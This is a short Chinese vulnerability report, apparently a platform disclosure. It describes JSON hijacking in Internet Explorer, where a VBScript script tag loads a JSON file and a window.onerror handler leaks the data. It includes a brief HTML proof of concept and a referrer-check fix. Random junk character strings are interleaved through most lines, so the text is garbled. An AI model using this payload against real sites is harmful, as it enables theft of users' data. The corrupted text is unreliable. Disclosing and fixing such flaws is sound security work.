简要描述:3 P; n4 l0 }6 R
: d% ?0 ]- `) f- C. C$ @( U1 t由于某些资源容器对数据处理不当导致json劫持漏洞.
, D/ r6 r9 w: I3 A* X G详细说明:' F+ d& W9 k& i8 O. o! y5 g1 d
由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 d! @2 z( O3 K; O/ o2 g
<script language=vbscript></script># X; b% g! h" c) U( G* A* v
0 p' e. S" D- e2 l+ x! P4 f7 w9 T当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据., N W, c+ R- U
漏洞证明:6 l# l$ E) B* ~0 l
<script>
2 _# Y7 R# }3 G t; Q$ `window.onerror=function(_){
/ P6 _9 X& l Z* ~& K+ H& salert(_)6 ^! m& \: \) b4 F) L" h) x
}0 n0 |) b5 J* ]3 ^1 H
</script>
9 R6 H) T8 _6 p! C. ~! L5 u<script language=vbscript src=1.json></script>
s$ ]: D: d* e$ \
* G3 t4 U- m; c: F- `
1 N: R2 r+ r$ u7 a' E1.json:& A% q: q1 \8 B; J
[{"name":"sogili","age":19}]/ F4 v$ D: x K, ?: s- i
修复方案:! k' P' k5 ]7 O+ j8 R
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |